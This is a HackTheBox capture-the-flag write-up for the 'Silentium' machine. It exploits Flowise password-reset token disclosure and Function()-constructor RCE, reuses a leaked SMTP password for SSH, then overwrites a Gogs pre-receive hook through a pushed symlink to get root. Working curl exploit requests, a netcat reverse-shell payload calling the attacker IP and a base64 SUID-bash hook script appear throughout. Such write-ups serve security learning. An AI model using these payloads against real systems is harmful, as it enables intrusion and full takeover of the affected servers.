In Silentium, we exploit two Flowise CVEs to reset an admin password and achieve RCE, pivot to Ben via password reuse, then abuse a vulnerable Gogs instance to overwrite hooks and gain root access.

Introduction

In this post, I will demonstrate the exploitation of an easy difficulty machine called "Silentium" on HackTheBox. Overall, it was an enjoyable box offering a nice learning experience.

This box was pwned on June 10, 2026. The writeup was published on September 16, 2026 when the machine retired from the platform.

Step 1: running an Nmap scan on the target

After adding the IP to our hostfile (sudo vim /etc/hosts), I ran an nmap scan of the 1000 most common ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV silentium.htb
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-11 03:29 -0400
Nmap scan report for silentium.htb (10.129.16.202)
Host is up (0.011s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds

The scan revealed that a web server is running on port 80.

Step 2: Enumerating the webserver

Upon visiting the website running on port 80, I was greeted with a generic page where no obvious potential attack vector could be found.

website port 80

During further exploration of the page, I found 3 potential users: Marcus Thorne, Ben and Elena Rossi.

website users

Next, I performed a vhost enumeration scan using ffuf:

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://silentium.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host:FUZZ.silentium.htb" -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://silentium.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 15ms]
:: Progress: [19966/19966] :: Job [1/1] :: 3773 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

After adding this newly found vhost to our hostfile and surfing to the page, I was greeted with a Flowise login page:

website flowise

After some Googling, I quickly found out that Flowise uses an api which could be interesting for further exploration. The first thing I did was enumerate the version of the Flowise instance and look if there were any CVEs:

┌──(kali㉿kali)-[~]
└─$ curl http://staging.silentium.htb/api/v1/version
{"version":"3.0.5"} 

Step 3: Gaining access

The Google search revealed that there are 2 known vulnerabilities: CVE-2025-58434 and CVE-2025-59528.

The first CVE (CVE-2025-58434) allows us to perform an unauthenticated password reset because the API leaks a password reset token. The second CVE (CVE-2025-59528) is an RCE vulnerability which requires a valid Bearer token. Therefore, the first CVE (CVE-2025-58434) seems like a solid starting point.

According to the Github advisory page of CVE-2025-58434(Unauthenticated password reset token disclosure). We can send a request to the /api/v1/account/forgot-password endpoint supplying a valid user email upon which the response will leak a valid tempToken which is used for password reset.

As stated in the previous section of this blog post, We found a few users: Marcus Thorne, Ben and Elena Rossi. This means we could potentially guess their email addresses. The one that stuck out to me was Ben as he did not have a last name. Based on previous Hack The Box boxes, I know that email adresses usually have the following format: ben@silentium.htb. Therefore, I tried sending the request to the API using this email address to receive a valid tempToken:

┌──(kali㉿kali)-[~]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'     
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 11 Jun 2026 08:36:37 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 579
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"243-Eq0DaIS1NyG8BJ4zZkZ/GuJ/WUk"

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"thIyVRpDai37TolDkRUMtevLu2OM3wPIG94vIBta597Qn2CR52veIyn867QGakwt","tokenExpiry":"2026-06-11T08:51:37.844Z","status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-06-11T08:36:37.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}  

The email provided in the request seemed to be correct as we got a leaked tempToken in the response. Now, we can use the following POST request to reset the password of Ben using this leaked tempToken:

┌──(kali㉿kali)-[~]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \ 
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"ben@silentium.htb",   
          "tempToken":"thIyVRpDai37TolDkRUMtevLu2OM3wPIG94vIBta597Qn2CR52veIyn867QGakwt",
          "password":"Test_01!"             
        }
      }'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 11 Jun 2026 08:40:08 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-BhWcT8vL/vmzaju1b/cZysFWUSg"

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$Jn7/RHbykn0mH4xMPRjMZuXRmBoijGNZYl2uvKNKjTUbVOZhCbDMG","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-06-11T08:40:08.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}} 

Now, we can login into the Flowise web portal as Ben using the newly set password.

website flowise admin panel

Under the "API Keys" section, we can find the API key needed to perform the second CVE ((CVE-2025-58434)).

website flowise admin panel

This CVE, CVE-2025-59528, is an RCE vulnerability which is executed through an authenticated POST request. The full details can be found here: Flowise RCE

The vulnerability can be easily exploited through a POST request in which we insert our reverse shell payload (dont forget to add your API key as Bearer token). First, don't forget to open a netcat listener:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999               
listening on [any] 9999 ...

Next, send the POST request with the reverse shell payload and receive a shell:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.91 9999 >/tmp/f\");return 1;})()})"
    }
  }'

In our netcat listener, we received a shell as root which hints that we are in some sort of container:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999               
listening on [any] 9999 ...
connect to [10.10.15.91] from (UNKNOWN) [10.129.16.202] 44259
/bin/sh: can't access tty; job control turned off
/ # whoami
root
/ # 

Step 3: Lateral privilege escalation to Ben

After landing a shell in the container, I checked the environment variables which exposed a few passwords:

/ # env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=4
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
TERM=xterm
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

Could it be that Ben made the mistake to reuse passwords? To test this, I tried logging in using ssh using the SMTP password.

┌──(kali㉿kali)-[~]
└─$ ssh ben@silentium.htb    
The authenticity of host 'silentium.htb (10.129.16.202)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:21: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Jun 11 09:00:13 AM UTC 2026

  System load:           0.0
  Usage of /:            83.0% of 13.37GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             234
  Users logged in:       0
  IPv4 address for eth0: 10.129.16.202
  IPv6 address for eth0: dead:beef::a0de:adff:febf:1c61


Expanded Security Maintenance for Applications is not enabled.

68 updates can be applied immediately.
52 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Apr  8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$ 

Seems we are in luck! It works! Here, we can capture the user flag.

ben@silentium:~$ ls
user.txt

Step 4: Privilege escalation to root

Viewing the active sockets on the box, I saw that there were some local services running on the box. Putting things together with the content of the environment variables in the docker container, it wasn't hard to realise there is a local open source SMTP service running called Mailhog on port 1025 which according to it's Github page also start a http server on port 8025 (Mailhog SMTP server Github).

This website can be easily forwarded to our local machine:

┌──(kali㉿kali)-[~]
└─$ ssh -L 8025:127.0.0.1:8025 ben@silentium.htb

As a result, we can access the service in the browser by navigating to http://localhost:8025

mailhog local service

However, After some exploration, this seemed like a dead end so I decided to look for ways to get to root.

looking back at the active sockets on the machine, there also seemed to run an interesting service on port 3000 and 3001. Therefore, I forwarded port 3001 to my local machine:

──(kali㉿kali)-[~]
└─$ ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

Upon visiting "http://localhost:3001", I was greeted with a selfhosted Github alternative called "Gogs". After some Googling it was vulnerable to CVE-2025-81110 which allows us to overwrite a Gogs hook with custom code through a symlink (Gogs CVE-2025-81110).

gogs local service

Next, register an account:

gogs local service

Then, make an API token:

gogs local service

Also create an empty repository:

gogs local service

Initialize the repo:

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git init
hint: Using 'master' as the name for the initial branch. This default branch name
hint: will change to "main" in Git 3.0. To configure the initial branch name
hint: to use in all of your new repositories, which will suppress this warning,
hint: call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>
hint:
hint: Disable this message with "git config set advice.defaultBranchName false"
Initialized empty Git repository in /home/kali/Documents/silentium/.git/

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git remote add origin http://localhost:3001/test/pwn.git

Craft a symlink that points to the Gogs hook:

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ ln -s /root/gogs-repositories/test/pwn.git/hooks/pre-receive evil_link

Push the symlink to the repo:

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git add evil_link                   
                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git commit -m "init"                
[master (root-commit) 4a1e8db] init
 1 file changed, 1 insertion(+)
 create mode 120000 evil_link
                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git push origin master 
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 244 bytes | 244.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Username for 'http://localhost:3001': test
Password for 'http://test@localhost:3001': 
To http://localhost:3001/test/pwn.git
 * [new branch]      master -> master

Next, perform the following request to get the SHA hash of the evil_link file:

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ curl http://localhost:3001/api/v1/repos/test/pwn/contents?ref=master \
  -H "Authorization: token 14155c26ef459e443271d28520252d60652bdb06"
[{"type":"symlink","target":"/root/gogs-repositories/test/pwn.git/hooks/pre-receive","size":54,"name":"evil_link","path":"evil_link","sha":"b57bcea4edb6abe2fecafa4f99a09d63bbf78e9e","url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","git_url":"","html_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link","download_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/raw/master/evil_link","_links":{"git":"","self":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","html":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link"}}]  

Now, we need to modify the contents of the evil_link symlink. Because it points to the hook, the hook gets overriden.

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ curl -X PUT http://localhost:3001/api/v1/repos/test/pwn/contents/evil_link \
  -H "Authorization: token 14155c26ef459e443271d28520252d60652bdb06" \
  -H "Content-Type: application/json" \
  -d '{
    "message": "update",
    "sha": "b57bcea4edb6abe2fecafa4f99a09d63bbf78e9e",
    "content": "IyEvYmluL2Jhc2gKY3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2gKY2htb2QgNDc1NSAvdG1wL3Jvb3RiYXNo"
  }'   
{"commit":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","sha":"49effafd3fbdccfcef6835e2d2ae822215d4909f","html_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/commits/49effafd3fbdccfcef6835e2d2ae822215d4909f","commit":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","author":{"name":"test","email":"test@test.com","date":"2026-06-11T10:14:46Z"},"committer":{"name":"test","email":"test@test.com","date":"2026-06-11T10:14:46Z"},"message":"init","tree":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/tree/49effafd3fbdccfcef6835e2d2ae822215d4909f","sha":"49effafd3fbdccfcef6835e2d2ae822215d4909f"}},"author":{"id":2,"username":"test","login":"test","full_name":"","email":"test@test.com","avatar_url":"https://secure.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?d=identicon"},"committer":{"id":2,"username":"test","login":"test","full_name":"","email":"test@test.com","avatar_url":"https://secure.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?d=identicon"},"parents":[{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/commits/4a1e8db4d7a0c4205c5decf1c2d33c1d905b7ade","sha":"4a1e8db4d7a0c4205c5decf1c2d33c1d905b7ade"}]},"content":{"type":"symlink","target":"/root/gogs-repositories/test/pwn.git/hooks/pre-receive","size":54,"name":"evil_link","path":"evil_link","sha":"b57bcea4edb6abe2fecafa4f99a09d63bbf78e9e","url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","git_url":"","html_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link","download_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/raw/master/evil_link","_links":{"git":"","self":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","html":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link"}}} 

Note that the content parameter in the request contains the actual payload that is base64 encoded and translates to this:

#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash

It is essentially a script with whom the hook gets overwritten with. The script copies the bash binary with SUID privileges meaning anyone can execute it as it's file owner (=root).

The hook is now overwritten with our malicious script. So the last thing we need to do is make sure the hook executes. This can be done by pushing any random file as the hook is always automatically executed when pushing a file.

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ echo "pwnd" > pwnd.txt   

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git add pwnd.txt 

┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git commit -m "pwnd"  
[master 730ed85] pwnd
 1 file changed, 1 insertion(+)
 create mode 100644 pwnd.txt


┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git push origin master
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 265 bytes | 265.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Username for 'http://localhost:3001': test
Password for 'http://test@localhost:3001': 
To http://localhost:3001/test/pwn.git
   49effaf..730ed85  master -> master

To get root, we need to go back to the box and execute our rootbash SUID binary (don't forget the -p flag or privileges will be dropped):

ben@silentium:/tmp$ ./rootbash -p
rootbash-5.2# whoami
root
rootbash-5.2# ls /root
gogs-repositories  root.txt
rootbash-5.2# 

Congratulations, you have succesfully rooted this box!

Extra: Explanation of CVE-2025-59528

Note: I'm no Javascript expert but I will do my best to explain the vulnerability in this section.

This is the actual vulnerable code:

// Line 262–270
function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

Specifically, the line with the "Function()" constructor. It constructs a new JS function with the user's string as the body and immediately calls it. This means that whatever JavaScript is in inputString will run with full Node.js privileges.

Thus if we supply the payload of the POC as the inputString variable, this happens (the commented out lines are the contents of the inputString variable):

function convertToValidJSONString(inputString: string) {
    try {
    // inputString is the attacker payload — pasted in literally:
    // Function('return ({x:(function(){
    //   const cp=process.mainModule.require("child_process");
    //   cp.execSync("echo !!RCE-OK!! >/tmp/RCE.txt");
    //   return 1;
    // })()} )')
    const jsObject = Function('return ' + inputString)()  // ← eval() in disguise
        return JSON.stringify(jsObject, null, 2)
  } catch (error) { ... }
}

So when we effectively replace the inputString with the payload, this is what is run at runtime:

// what the runtime effectively runs:
   Function(`return ({x:(function(){
     const cp = process.mainModule.require("child_process");
     cp.execSync("echo !!RCE-OK!! >/tmp/RCE.txt");
     return 1;
   })()})`)()

As this creates a custom function and immediately calls it, our code gets executed with the privileges of the Node.js process.

Extra: Explanation of hooks and CVE-2025-81110

Gogs executes hook scripts automatically when certain repository events occur. The hook we target here is pre-receive, which runs every time a commit is pushed to the repository. Since Gogs runs as root, anything the hook executes runs with full root privileges.

The vulnerability lies in the fact that Gogs does not validate the filetype of files uploaded to a repository. This allows us to push a symlink, a file that acts as a pointer to another location on the filesystem. We create a symlink called evil_link that points directly to the pre-receive hook file on disk.

With that pointer in place, we use the Gogs API to write a malicious script into evil_link. Because it is a symlink, the OS transparently redirects the write to the actual hook file. Gogs never realizes the target was outside the repository.

The hook is now replaced with our custom script, which creates a SUID copy of /bin/bash at /tmp/rootbash. The next time we push anything to the repository, Gogs fires the hook, our script executes as root, and we can escalate privileges by running:

/tmp/rootbash -p

Final thoughts

Overall, This was a nice and easy box which I thoroughly enjoyed solving. The privilege escalation through Gogs was a bit hard when doing it manually. It took a while before I realized what a hook was and how a symlink could first point at the hook to eventually overwrite it and replace it with a custom script to spawn a SUID bash binary in the /tmp directory. I feel like I have learned a lot by doing this step manually instead of relying on a premade POC.

Go to the Home Page